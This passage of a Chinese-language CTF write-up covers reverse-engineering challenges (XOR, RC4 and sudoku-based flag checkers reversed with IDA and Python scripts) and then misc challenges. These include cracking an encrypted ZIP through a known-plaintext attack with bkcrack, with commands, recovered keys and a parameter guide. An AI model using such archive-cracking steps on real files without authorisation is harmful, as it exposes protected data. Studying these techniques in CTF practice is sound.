v7 = (CHAR *)sub_401010(lpString, &p_n0x7FFFFFFF);
n15_2 = (unsigned int)p_n0x7FFFFFFF;
c = n0x7FFFFFFF + 1;
p_n0x7FFFFFFF = &v7[n0x7FFFFFFF];
if ( n15_1 <= 0xF )
{
memmove(v7, lpString, n0x7FFFFFFF);
v15 = &v7[n0x7FFFFFFF];
*v15 = v23;
v15[1] = 0;
}
else
{
v13 = (CHAR *)lpString[0];
memmove(v7, lpString[0], Size);
n0x7FFFFFFF_3 = p_n0x7FFFFFFF;
*p_n0x7FFFFFFF = v23;
n0x7FFFFFFF_3[1] = 0;
if ( n15_1 + 1 >= 0x1000 )
{
if ( (unsigned int)&v13[-*((_DWORD *)v13 - 1) - 4] > 0x1F )
goto LABEL_33;
v13 = (CHAR *)*((_DWORD *)v13 - 1);
}
sub_4016A4(v13);
}
lpString[0] = v7;
}
else
{
c = n0x7FFFFFFF + 1;
v10 = lpString;
if ( n15 > 0xF )
v10 = (LPCSTR *)v7;
*((_BYTE *)v10 + n0x7FFFFFFF) = v9;
*((_BYTE *)v10 + n0x7FFFFFFF + 1) = 0;
v7 = (CHAR *)lpString[0];
}
n0x22 = n0x22_1 + 1;
n0x22_1 = n0x22;
if ( n0x22 >= 0x22 )
break;
n15 = n15_2;
n0x7FFFFFFF = c;
n15_1 = n15_2;
Size = c;
}
v16 = lpString;
if ( n15_2 > 0xF )
v16 = (LPCSTR *)v7;
TextOutA(hdc, 10, 10, (LPCSTR)v16, c);
EndPaint(hWnd, &Paint);
if ( n15_2 > 0xF )
{
v17 = (CHAR *)lpString[0];
if ( n15_2 + 1 >= 0x1000 )
{
v17 = (CHAR *)*((_DWORD *)lpString[0] - 1);
if ( (unsigned int)(lpString[0] - (LPCSTR)v17 - 4) > 0x1F )
LABEL_33:
_invalid_parameter_noinfo_noreturn();
}
sub_4016A4(v17);
}
}
return 0;
}
|
再次通过AI分析,可以发现这个函数通过循环34次将byte_40F1B4数组的每个字节与0x55异或
所以解密就是再次进行异或,那么我们先去看看该数组的内容:
1
2
3
4
5
6
7
| .rdata:0040F1B4 33 byte_40F1B4 db 33h ; DATA XREF: sub_4011C0:loc_401250↑r
.rdata:0040F1B5 39 34 32 2E 22 64 3B 25 27 65… a942DE6D3A1FF8f db '942."d;%',27h,'e6',0Ah
.rdata:0040F1C1 64 26 0A db 'd&',0Ah
.rdata:0040F1C4 33 20 3B 0A db '3 ;',0Ah
.rdata:0040F1C8 61 3B 31 0A db 'a;1',0Ah
.rdata:0040F1CC 66 25 3D 66 38 66 27 61 39 28… db 'f%=f8f',27h,'a9(',0
.rdata:0040F1D7 00 db 0
|
所以我们可以写一个脚本把这些数据再异或0x55一次获得解密内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 从IDA中提取的加密数据
encrypted_bytes = [
0x33, 0x39, 0x34, 0x32, 0x2E, 0x22, 0x64, 0x3B,
0x25, 0x27, 0x65, 0x36, 0x0A, 0x64, 0x26, 0x0A,
0x33, 0x20, 0x3B, 0x0A, 0x61, 0x3B, 0x31, 0x0A,
0x66, 0x25, 0x3D, 0x66, 0x38, 0x66, 0x27, 0x61,
0x39, 0x28
]
# 与0x55异或解密
decrypted_bytes = [b ^ 0x55 for b in encrypted_bytes]
# 转换为字符串
flag = ''.join(chr(b) for b in decrypted_bytes)
print(f"解密结果: {flag}")
print(f"长度: {len(flag)}")
|
然后我们运行这个脚本:
1
2
| 解密结果: flag{……}
长度: 34
|
发现解密结果就是flag没错
成功获得flag!
2. 生气的低客
这一题给出了一个re文件,以及一个_MACOSX文件夹
那么我们先IDA反编译看看它的mian函数代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
| // The function seems has been flattened
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n; // [rsp+A0h] [rbp-50h]
int n3; // [rsp+A4h] [rbp-4Ch]
int m; // [rsp+A8h] [rbp-48h]
int k; // [rsp+ACh] [rbp-44h]
int j; // [rsp+B0h] [rbp-40h]
int i; // [rsp+B4h] [rbp-3Ch]
_BYTE s1[37]; // [rsp+C0h] [rbp-30h] BYREF
__int16 n125; // [rsp+E5h] [rbp-Bh]
int v12; // [rsp+E8h] [rbp-8h]
int v13; // [rsp+ECh] [rbp-4h]
v12 = 0;
puts("Please input the flag:");
__isoc99_scanf("%38s", s1);
v13 = memcmp(s1, "flag{", 5u);
if ( v13 || n125 != 125 )
{
puts("Wrong flag");
return 1;
}
else
{
for ( i = 0; i < 4; ++i )
*(_QWORD *)&s1[8 * i + 5] ^= 0x1145141919812333uLL;
for ( j = 0; j < 4; ++j )
{
for ( k = 0; k < 8; ++k )
*(_DWORD *)&s1[4 * k + 5] *= (4 * j) ^ 0xDEADBEEF;
}
for ( m = 0; m < 16; ++m )
*(_WORD *)&s1[2 * m + 5] ^= 0x4514u;
n3 = 0;
LABEL_17:
if ( n3 >= 4 )
{
puts("Congratulations!");
return 0;
}
else
{
for ( n = 0; ; ++n )
{
if ( n >= 32 )
{
++n3;
goto LABEL_17;
}
s1[n + 5] *= (unsigned __int8)(2 * n3) ^ 0x69;
if ( n3 == 3 && s1[n + 5] != encrypted_data[n] )
break;
}
puts("Wrong flag");
return 0;
}
}
}
|
可以看到它的main函数是用于验证flag的,但是其实基本已经把生成flag的方式给暴露了出来,我们只需要写一个脚本把这个步骤倒推就可以获得flag了
所以事实上我们是不需要管那个_MACOSX的内容,不要被吓到
然而我其实没怎么接触过脚本,所以写逆向脚本的任务就交给了AI:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| import struct
encrypted_data = [
0xA3, 0xF1, 0xBE, 0x65, 0x9A, 0xDC, 0xD3, 0x5D,
0xE5, 0xB5, 0x82, 0x18, 0xE9, 0x3A, 0xC4, 0x4A,
0xCF, 0xEC, 0xC4, 0xB4, 0x9A, 0xDC, 0x57, 0xCB,
0x34, 0xCA, 0x88, 0xB9, 0x0C, 0x91, 0x64, 0x3D
]
# 逆向 n3=3 的乘法 (乘以 0x6F)
inv_0x6F = pow(0x6F, -1, 256)
X = [(e * inv_0x6F) % 256 for e in encrypted_data]
# 逆向 n3=0,1,2 的乘法 (依次乘以 0x69, 0x6B, 0x6D)
P = (0x69 * 0x6B * 0x6D) % 256
inv_P = pow(P, -1, 256)
A = [(x * inv_P) % 256 for x in X]
# 逆向 WORD 异或 (与 0x4514 异或)
C = A.copy()
for m in range(16):
C[2*m] ^= 0x14 # 低字节异或 0x14
C[2*m+1] ^= 0x45 # 高字节异或 0x45
# 计算四个因子的乘积模 2^32
factor0 = 0xDEADBEEF
factor1 = 0xDEADBEEB # 0xDEADBEEF ^ 4
factor2 = 0xDEADBEE7 # 0xDEADBEEF ^ 8
factor3 = 0xDEADBEE3 # 0xDEADBEEF ^ 12
F = (factor0 * factor1 * factor2 * factor3) & 0xFFFFFFFF
inv_F = pow(F, -1, 2**32) # 模 2^32 的乘法逆元
# 将 C 视为 8 个 DWORD,分别乘以逆元
D_bytes = []
for i in range(8):
# 小端序组合 DWORD
dword = C[4*i] | (C[4*i+1] << 8) | (C[4*i+2] << 16) | (C[4*i+3] << 24)
dword = (dword * inv_F) & 0xFFFFFFFF
# 拆分为小端序字节
D_bytes.append(dword & 0xFF)
D_bytes.append((dword >> 8) & 0xFF)
D_bytes.append((dword >> 16) & 0xFF)
D_bytes.append((dword >> 24) & 0xFF)
# 将 D_bytes 视为 4 个 QWORD,分别与 0x1145141919812333 异或
B_bytes = []
for i in range(4):
qword = (D_bytes[8*i]) | (D_bytes[8*i+1] << 8) | (D_bytes[8*i+2] << 16) | (D_bytes[8*i+3] << 24) | (D_bytes[8*i+4] << 32) | (D_bytes[8*i+5] << 40) | (D_bytes[8*i+6] << 48) | (D_bytes[8*i+7] << 56)
qword ^= 0x1145141919812333
# 拆分为小端序字节
for j in range(8):
B_bytes.append((qword >> (8*j)) & 0xFF)
# 组合为 flag
flag_inner = ''.join(chr(b) for b in B_bytes)
flag = 'flag{' + flag_inner + '}'
print(flag)
|
接下来只要运行这个把flag验证过程逆向的脚本把flag输出出来就好
然后我们再打开这个re文件看看对不对:
1
2
3
4
| └─$ ./re
Please input the flag:
flag{……}
Congratulations!
|
很好,经过正向验证,我们的flag是正确的!
成功获取flag!
3. 苹果人,苹果魂
本题作为一个MACos系统的内容,附件里面并非简单一个文件,直观看起来似乎有些可怕,但是其实我们要找的目标依然是一个文件,就在这个路径之中<crackme\crackme.app\Contents\MacOS>的crackme文件
找到核心内容之后要做的事情就是相似的流程了
我们IDA反编译一下这个文件
然后打开其中的string窗口,找找类似flag、Correct、Wrong之类的字符串
然后我们成功通过交叉搜索定向到了目标函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
| void __cdecl -[AppDelegate checkFlag:](AppDelegate *self, SEL a2, id obj)
{
NSTextField *self_2; // [xsp+28h] [xbp-58h]
int i; // [xsp+38h] [xbp-48h]
char v5; // [xsp+3Fh] [xbp-41h]
char *v6; // [xsp+40h] [xbp-40h]
void *v7; // [xsp+48h] [xbp-38h]
id self_4; // [xsp+58h] [xbp-28h] BYREF
id self_3; // [xsp+60h] [xbp-20h] BYREF
id location[2]; // [xsp+68h] [xbp-18h] BYREF
AppDelegate *self_1; // [xsp+78h] [xbp-8h]
self_1 = self;
location[1] = (id)a2;
location[0] = 0;
objc_storeStrong(location, obj);
self_2 = objc_retainAutoreleasedReturnValue(-[AppDelegate inputField](self_1, "inputField"));
self_3 = objc_retainAutoreleasedReturnValue(-[NSTextField stringValue](self_2, "stringValue"));
objc_release(self_2);
self_4 = objc_retainAutoreleasedReturnValue(objc_msgSend(self_3, "dataUsingEncoding:", 4));
if ( objc_msgSend(self_4, "length") == (void *)21 )
{
v7 = malloc((size_t)objc_msgSend(self_4, "length"));
objc_msgSend(self_4, "getBytes:length:", v7, objc_msgSend(self_4, "length"));
v6 = (char *)malloc((size_t)objc_msgSend(self_4, "length"));
-[AppDelegate rc4Crypt:length:key:keyLength:output:](
self_1,
"rc4Crypt:length:key:keyLength:output:",
v7,
objc_msgSend(self_4, "length"),
&KEY,
16,
v6);
v5 = 1;
for ( i = 0; (unsigned __int64)i < 0x15; ++i )
{
if ( (unsigned __int8)v6[i] != TARGET_FLAG[i] )
{
v5 = 0;
break;
}
}
if ( (v5 & 1) != 0 )
-[AppDelegate showMessage:title:](
self_1,
"showMessage:title:",
CFSTR("Correct! You found the flag."),
CFSTR("Success"));
else
-[AppDelegate showMessage:title:](self_1, "showMessage:title:", CFSTR("Wrong Flag!"), CFSTR("Error"));
free(v7);
free(v6);
}
else
{
-[AppDelegate showMessage:title:](self_1, "showMessage:title:", CFSTR("Wrong Length!"), CFSTR("Error"));
}
objc_storeStrong(&self_4, 0);
objc_storeStrong(&self_3, 0);
objc_storeStrong(location, 0);
}
|
那么经过AI代码审计可以发现,代码的逻辑是:
输入字符串经 RC4 加密后,与预设的目标字节数组对比
所以我们当下的逻辑应该是去IDA获取密钥以及预设目标数组:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| __data:0000000100008750 EXPORT _KEY
__data:0000000100008750 0F _KEY DCB 0xF ; DATA XREF: -[AppDelegate checkFlag:]+14C↑o
__data:0000000100008751 0B DCB 0xB
__data:0000000100008752 5B DCB 0x5B ; [
__data:0000000100008753 81 DCB 0x81
__data:0000000100008754 5B DCB 0x5B ; [
__data:0000000100008755 88 DCB 0x88
__data:0000000100008756 3C DCB 0x3C ; <
__data:0000000100008757 21 DCB 0x21 ; !
__data:0000000100008758 E7 DCB 0xE7
__data:0000000100008759 F5 DCB 0xF5
__data:000000010000875A 95 DCB 0x95
__data:000000010000875B 2C DCB 0x2C ; ,
__data:000000010000875C CE DCB 0xCE
__data:000000010000875D AD DCB 0xAD
__data:000000010000875E E7 DCB 0xE7
__data:000000010000875F 78 DCB 0x78 ; x
__data:0000000100008760 EXPORT _TARGET_FLAG
__data:0000000100008760 ; unsigned __int8 TARGET_FLAG[24]
__data:0000000100008760 60 39 20 AB 7E 5C 39 C9 CE 91 _TARGET_FLAG DCB 0x60, 0x39, 0x20, 0xAB, 0x7E, 0x5C, 0x39, 0xC9, 0xCE, 0x91, 0x95, 0x5F
__data:0000000100008760 95 5F ; DATA XREF: -[AppDelegate checkFlag:]+18C↑o
__data:000000010000876C 71 8C CD 65 C1 00 35 7D 60 00… DCB 0x71, 0x8C, 0xCD, 0x65, 0xC1, 0, 0x35, 0x7D, 0x60, 0, 0, 0
|
这下我们就拥有了正向检验的逻辑以及所需要的数据,可以构造脚本逆向推出flag了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| import sys
def rc4_decrypt(key, data):
# 1. KSA (Key-Scheduling Algorithm)
# 初始化状态向量 S
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# 2. PRGA (Pseudo-Random Generation Algorithm)
# 生成密钥流并与密文异或
i = 0
j = 0
res = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
res.append(byte ^ k)
return res
# -------------------------------------------
# 从 IDA 提取的数据
# -------------------------------------------
# KEY: 0F 0B 5B ... E7 78
key_hex = bytes.fromhex("0F 0B 5B 81 5B 88 3C 21 E7 F5 95 2C CE AD E7 78")
# TARGET_FLAG: 60 39 20 ... 7D 60 (共21字节)
cipher_hex = bytes.fromhex("60 39 20 AB 7E 5C 39 C9 CE 91 95 5F 71 8C CD 65 C1 00 35 7D 60")
# -------------------------------------------
# 执行解密
# -------------------------------------------
try:
flag = rc4_decrypt(key_hex, cipher_hex)
print("--------------------------------------------------")
print(f"Flag (String): {flag.decode('utf-8')}")
print("--------------------------------------------------")
except UnicodeDecodeError:
print("解密结果包含非打印字符,可能 Key 或 Cipher 抄写有误:")
print(flag)
|
然后我们运行一下脚本就好:
1
2
3
| --------------------------------------------------
Flag (String): flag{……}
--------------------------------------------------
|
成功提交,flag是正确的
成功获得flag!
4. 传统语言核易位
这题最大的挑战完全是在数独!
我们依然是获得了一个re文件,那么还是老规矩,丢进IDA里面反编译一下
由于这个文件是使用rust写的,反编译为C语言是比较乱的,如果你有能力可以去搞一些更好的插件把反编译内容简化一些,减少审计的工作量显然我是没能力的,但是线上赛可以使用AI那么交给AI分析吧
经过代码审计,可以提取到main函数代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
| __int64 re_sudoku::main()
{
__int64 v0; // rbx
void *s2_1; // r14
size_t n_1; // r15
__int64 v3; // rdx
char *s2_3; // rcx
char *v5; // rsi
char *s2_2; // rdx
char v7; // r9
char *s2_5; // r10
char *v9; // rax
unsigned int n0xF0; // r9d
int v11; // ebp
int v12; // r11d
unsigned int n48_1; // r10d
char v14; // r10
char *s2_4; // r9
unsigned int n0x80; // r10d
char v17; // r11
char v18; // bp
int v19; // ebp
int v20; // r11d
unsigned int n48; // r11d
__int64 result; // rax
__int64 v23; // [rsp+8h] [rbp-160h] BYREF
void *s2; // [rsp+10h] [rbp-158h]
size_t n; // [rsp+18h] [rbp-150h]
__m128i v26; // [rsp+20h] [rbp-148h] BYREF
__m256i v27; // [rsp+30h] [rbp-138h]
__int128 v28; // [rsp+50h] [rbp-118h]
__int128 v29; // [rsp+60h] [rbp-108h]
char v30; // [rsp+70h] [rbp-F8h]
_QWORD v31[2]; // [rsp+78h] [rbp-F0h] BYREF
_BYTE v32[17]; // [rsp+8Ch] [rbp-DCh] BYREF
__m256i v33; // [rsp+9Dh] [rbp-CBh]
__int128 v34; // [rsp+BDh] [rbp-ABh]
__int128 v35; // [rsp+CDh] [rbp-9Bh]
char v36; // [rsp+DDh] [rbp-8Bh]
__int128 v37; // [rsp+E0h] [rbp-88h] BYREF
__m256i v38; // [rsp+F0h] [rbp-78h]
__int128 v39; // [rsp+110h] [rbp-58h]
__int128 v40; // [rsp+120h] [rbp-48h]
char v41; // [rsp+130h] [rbp-38h]
sudoku::board::sudoku::Sudoku::from_str_line(
(__int64)v32,
(const __m128i *)9_____43__79__8_____47__9__75_1____9___2___4____6_37__3__98___,
0x51u);
if ( v32[0] == 1 )
{
v26.m128i_i64[0] = *(_QWORD *)&v32[4];
core::result::unwrap_failed((__int64)aCalledResultUn, 43, (__int64)&v26, (__int64)&unk_5FA28, (__int64)&off_5FAC8);// "src/main.rs"
}
v41 = v36;
v40 = v35;
v39 = v34;
v38 = v33;
v37 = *(_OWORD *)&v32[1];
sudoku::board::sudoku::Sudoku::solution((__int64)v32, &v37);
if ( v32[0] != 1 )
core::option::expect_failed(Wrong_flag, 10, &off_5FAE0);// "src/main.rs"
v30 = v36;
v29 = v35;
v28 = v34;
v27 = v33;
v26 = *(__m128i *)&v32[1];
sudoku::board::sudoku::Sudoku::to_str_line((__m128i *)v32, &v26);
v31[0] = v32;
v31[1] = <sudoku::board::sudoku::SudokuLine as core::fmt::Display>::fmt;
v26.m128i_i64[0] = (__int64)&off_5FAF8; // "flag{"
v26.m128i_i64[1] = 2;
v27.m256i_i64[0] = (__int64)v31;
*(_OWORD *)&v27.m256i_u64[1] = 1u;
alloc::fmt::format::format_inner(&v23, &v26);
v0 = v23;
s2_1 = s2;
n_1 = n;
v26.m128i_i64[0] = (__int64)&off_5FB18; // "Welcome to SWJTU CTF\n"
v26.m128i_i64[1] = 1;
v27.m256i_i64[0] = 8;
*(_OWORD *)&v27.m256i_u64[1] = 0;
std::io::stdio::_print(&v26);
v26.m128i_i64[0] = (__int64)&off_5FB28; // "Please input the flag:\n"
v26.m128i_i64[1] = 1;
v27.m256i_i64[0] = 8;
*(_OWORD *)&v27.m256i_u64[1] = 0;
std::io::stdio::_print(&v26);
v23 = 0;
s2 = &dword_0 + 1;
n = 0;
v31[0] = std::io::stdio::stdin();
if ( (std::io::stdio::Stdin::read_line(v31, &v23) & 1) != 0 )
{
v26.m128i_i64[0] = v3;
core::result::unwrap_failed((__int64)aCalledResultUn, 43, (__int64)&v26, (__int64)&off_5FA08, (__int64)&off_5FB38);// "src/main.rs"
}
s2_3 = (char *)s2 + n;
if ( !n )
{
v5 = 0;
s2_2 = (char *)s2;
v9 = 0;
LABEL_29:
if ( s2_2 == s2_3 )
goto LABEL_55;
while ( 1 )
{
s2_4 = s2_3;
n0x80 = *(s2_3 - 1);
if ( (n0x80 & 0x80000000) != 0 )
{
v17 = *(s2_3 - 2);
if ( v17 >= -64 )
{
s2_3 -= 2;
v20 = v17 & 0x1F;
}
else
{
v18 = *(s2_3 - 3);
if ( v18 >= -64 )
{
s2_3 -= 3;
v19 = v18 & 0xF;
}
else
{
s2_3 -= 4;
v19 = ((*(s2_4 - 4) & 7) << 6) | v18 & 0x3F;
}
v20 = (v19 << 6) | v17 & 0x3F;
}
n0x80 = (v20 << 6) | n0x80 & 0x3F;
if ( n0x80 - 9 < 5 )
goto LABEL_33;
}
else
{
--s2_3;
if ( n0x80 - 9 < 5 )
goto LABEL_33;
}
if ( n0x80 != 32 )
{
if ( n0x80 < 0x80 )
goto LABEL_54;
n48 = n0x80 >> 8;
if ( n0x80 >> 8 > 0x1F )
{
if ( n48 == 32 )
{
v14 = core::unicode::unicode_data::white_space::WHITESPACE_MAP[(unsigned __int8)n0x80] >> 1;
}
else
{
if ( n48 != 48 )
{
LABEL_54:
v5 = &s2_4[v5 - s2_2];
goto LABEL_55;
}
v14 = n0x80 == 12288;
}
}
else if ( n48 )
{
if ( n48 != 22 )
goto LABEL_54;
v14 = n0x80 == 5760;
}
else
{
v14 = core::unicode::unicode_data::white_space::WHITESPACE_MAP[(unsigned __int8)n0x80];
}
if ( (v14 & 1) == 0 )
goto LABEL_54;
}
LABEL_33:
if ( s2_2 == s2_3 )
goto LABEL_55;
}
}
v5 = 0;
s2_2 = (char *)s2;
do
{
s2_5 = s2_2;
v9 = v5;
n0xF0 = (unsigned __int8)*s2_2;
if ( (n0xF0 & 0x80u) != 0 )
{
v11 = s2_2[1] & 0x3F;
if ( (unsigned __int8)n0xF0 <= 0xDFu )
{
s2_2 += 2;
n0xF0 = v11 | ((n0xF0 & 0x1F) << 6);
}
else
{
v12 = ((s2_2[1] & 0x3F) << 6) | s2_2[2] & 0x3F;
if ( (unsigned __int8)n0xF0 < 0xF0u )
{
s2_2 += 3;
n0xF0 = ((n0xF0 & 0x1F) << 12) | v12;
}
else
{
s2_2 += 4;
n0xF0 = ((n0xF0 & 7) << 18) | (v12 << 6) | s2_5[3] & 0x3F;
}
}
}
else
{
++s2_2;
}
v5 += s2_2 - s2_5;
if ( n0xF0 - 9 >= 5 && n0xF0 != 32 )
{
if ( n0xF0 < 0x80 )
goto LABEL_29;
n48_1 = n0xF0 >> 8;
if ( n0xF0 >> 8 > 0x1F )
{
if ( n48_1 == 32 )
{
v7 = core::unicode::unicode_data::white_space::WHITESPACE_MAP[(unsigned __int8)n0xF0] >> 1;
}
else
{
if ( n48_1 != 48 )
goto LABEL_29;
v7 = n0xF0 == 12288;
}
}
else if ( n48_1 )
{
if ( n48_1 != 22 )
goto LABEL_29;
v7 = n0xF0 == 5760;
}
else
{
v7 = core::unicode::unicode_data::white_space::WHITESPACE_MAP[(unsigned __int8)n0xF0];
}
if ( (v7 & 1) == 0 )
goto LABEL_29;
}
}
while ( s2_2 != s2_3 );
v9 = 0;
v5 = 0;
LABEL_55:
if ( v5 - v9 == n_1 && !bcmp((char *)s2 + (_QWORD)v9, s2_1, n_1) )
{
v26.m128i_i64[0] = (__int64)&off_5FB60; // "Correct!\n"
v26.m128i_i64[1] = 1;
v27.m256i_i64[0] = 8;
*(_OWORD *)&v27.m256i_u64[1] = 0;
result = std::io::stdio::_print(&v26);
}
else
{
v26.m128i_i64[0] = (__int64)&off_5FB50; // "Wrong flag!\n"
v26.m128i_i64[1] = 1;
v27.m256i_i64[0] = 8;
*(_OWORD *)&v27.m256i_u64[1] = 0;
result = std::io::stdio::_print(&v26);
}
if ( v23 )
result = __rustc::__rust_dealloc(s2, v23, 1);
if ( v0 )
return __rustc::__rust_dealloc(s2_1, v0, 1);
return result;
}
|
让AI分析代码功效,可以发现这是一个验证数独的代码,而且数独结果本身就是flag的内容
所以我们的核心就转变为了获取数独的结果
啊我真的是IDA一开始翻译出来的数独开头是缺了一个位的
但是可以注意到这本来应该是一个9*9的矩阵的数独,但是数位根本没81位,所以我们得去数据段里面找找这个缺失的部分
我们通过IDA定向这个半截的数独字符串所在的数据段,幸运地发现它下面紧跟着另外一段字符串:
1
2
3
4
| .rodata:000000000000954F ; const char 9_____43__79__8_____47__9__75_1____9___2___4____6_37__3__98___[]
.rodata:000000000000954F 2E 39 2E 2E 2E 2E 2E 34 33 2E _9_____43__79__8_____47__9__75_1____9___2___4____6_37__3__98___ db '.9.....43..79..8.....47..9..75.1....9...2...4....6.37..3..98.....'
.rodata:000000000000954F 2E 37 39 2E 2E 38 2E 2E 2E 2E… ; DATA XREF: re_sudoku::main+F↓o
.rodata:0000000000009590 39 2E 2E 31 34 2E 2E 31 36 2E… db '9..14..16.....5.'
|
我们把这两串字符串拼接起来,数一数,发现正好有了81位!
然后让AI写一个数独脚本
当然这其实是有些草率的,我们应该分析一下这个数独是否是唯一解,但是可以猜测·到基本就是唯一的,而且可以通过数独脚本看看是否是唯一解,以下是数独脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
| def solve_sudoku(board_str):
# 将字符串转换为列表,'.' 替换为 '0' 以便处理
board = [int(c) if c != '.' else 0 for c in board_str]
def is_valid(num, pos, board):
# 检查行
row_start = (pos // 9) * 9
for i in range(9):
if board[row_start + i] == num:
return False
# 检查列
col_start = pos % 9
for i in range(9):
if board[col_start + i * 9] == num:
return False
# 检查 3x3 宫格
box_row = (pos // 27) * 3
box_col = (pos % 9) // 3
box_start = box_row * 9 + box_col * 3
for i in range(3):
for j in range(3):
if board[box_start + i * 9 + j] == num:
return False
return True
def solve(board):
try:
# 找到第一个空格 (0)
pos = board.index(0)
except ValueError:
# 没有空格了,说明解完了
return True
for num in range(1, 10):
if is_valid(num, pos, board):
board[pos] = num
if solve(board):
return True
board[pos] = 0 # 回溯
return False
if solve(board):
return "".join(map(str, board))
else:
return None
# 拼接题目中给出的两个数据段
part1 = ".9.....43..79..8.....47..9..75.1....9...2...4....6.37..3..98....."
part2 = "9..14..16.....5."
full_puzzle = part1 + part2
print(f"Puzzle Length: {len(full_puzzle)}")
print(f"Puzzle: {full_puzzle}")
solution = solve_sudoku(full_puzzle)
if solution:
print("\nSolved!")
print(f"flag{{{solution}}}")
else:
print("\nNo solution found.")
|
然后运行,获取了完整的数独字符串,并且再打开re文件把这个数独字符串检验一下:
1
2
3
4
5
| └─$ ./re
Welcome to SWJTU CTF
Please input the flag:
flag{……}
Correct!
|
很好,经过检验,flag是正确的!
成功获取flag!
Misc
1. 嗷呜
有旮旯查找资源经历的小伙伴恐怕会如数家珍
看见这个题面,感觉一堆狗把我围住了,这是一道兽音加密,直接去网上找到解密网站就能解出:flag{……}
成功获得flag!
2. 哈基米得了mvp
哈基米得了MVP那么谁是躺赢狗?
这题我是在WSL2的Kali上做的
这个题目给了我们一个文件,里面有一个叫做plaintext.text的文件,以及一个zip文件,基本算是暗示明文攻击来破解密码了
但是我们还是检查一下:
1
2
3
4
5
| └─$ unzip encrypted.zip
Archive: encrypted.zip
[encrypted.zip] plaintext.txt password:
skipping: plaintext.txt incorrect password
skipping: flag.txt incorrect password
|
可以看见里面有个名字一样的文件,而且需要密码,基本确定是明文攻击
所以我们直接使用bkcrack破解试试看,先介绍一下:
bkcrack核心参数详解
| 参数 | 全称/含义 | 作用与示例 | 是否必需 |
|---|
-C | Cipher ZIP (加密的ZIP) | 指定你要攻击的、含有加密文件的ZIP包。 示例:-C secret.zip | 是 |
-c | cipher file (加密文件) | 指定ZIP包内部那个你知道其明文内容的加密文件的名称。这个文件的内容就是 -p 指定的那个文件。 示例:-c data.txt.enc | 是 |
-p | plaintext (明文) | 指定你已知的、未加密的原始文件。它是 -c 所指向文件加密前的版本。 示例:-p data_original.txt | 是 |
-k | key (密钥) | 在获取密钥后,用于解密或创建新ZIP时指定破解出的密钥。 格式:xxxxxxxx yyyyyyyy zzzzzzzz (3个16进制数) | 解密时必需 |
-U | Unlock (解锁) | 使用 -k 指定的密钥,直接创建并输出一个已解密的新ZIP文件,而非逐个解压文件。 示例:-k ... -U unlocked.zip | 可选 |
高级与可选参数
| 参数 | 作用 |
|---|
-o | 偏移量。指明文 (-p) 在加密文件 (-c) 中的起始位置(字节),用于部分明文已知的情况。 |
-t | 目标明文。当你成功获取密钥后,可以用此参数指定一个新文件,让工具尝试用该密钥解密ZIP内的其他文件。 |
-x | 已知字节。最强大的参数之一,用于已知部分明文但文件类型不同等复杂场景。可以指定加密文件 (-c) 在某个偏移处的已知字节值。例如 -x 10 507b 表示偏移10字节处的内容是 0x50, 0x7b (对应“P{”的ASCII)。 |
-d | 解密输出。在拥有密钥 (-k) 后,直接用此参数将ZIP内的某个特定加密文件解密输出到指定文件。 |
那么我们先搞出它的key来:
1
2
3
4
5
6
7
8
9
10
11
| └─$ bkcrack -C encrypted.zip -c plaintext.txt -p plaintext.txt
bkcrack 1.8.1 - 2025-10-25
[15:56:30] Z reduction using 108 bytes of known plaintext
100.0 % (108 / 108)
[15:56:30] Attack on 77707 Z values at index 6
Keys: 20b7da98 876ac4a5 25f7c906
24.5 % (19013 / 77707)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 19013
[15:56:34] Keys
20b7da98 876ac4a5 25f7c906
|
可以看见我们成功通过bkcrack得到了keys:20b7da98 876ac4a5 25f7c906
接下来就可以通过key来打开zip里面的文件了:
1
2
3
4
| └─$ bkcrack -C encrypted.zip -k 20b7da98 876ac4a5 25f7c906 -c flag.txt -d flag_decrypted.txt
bkcrack 1.8.1 - 2025-10-25
[16:16:34] Writing deciphered data flag_decrypted.txt
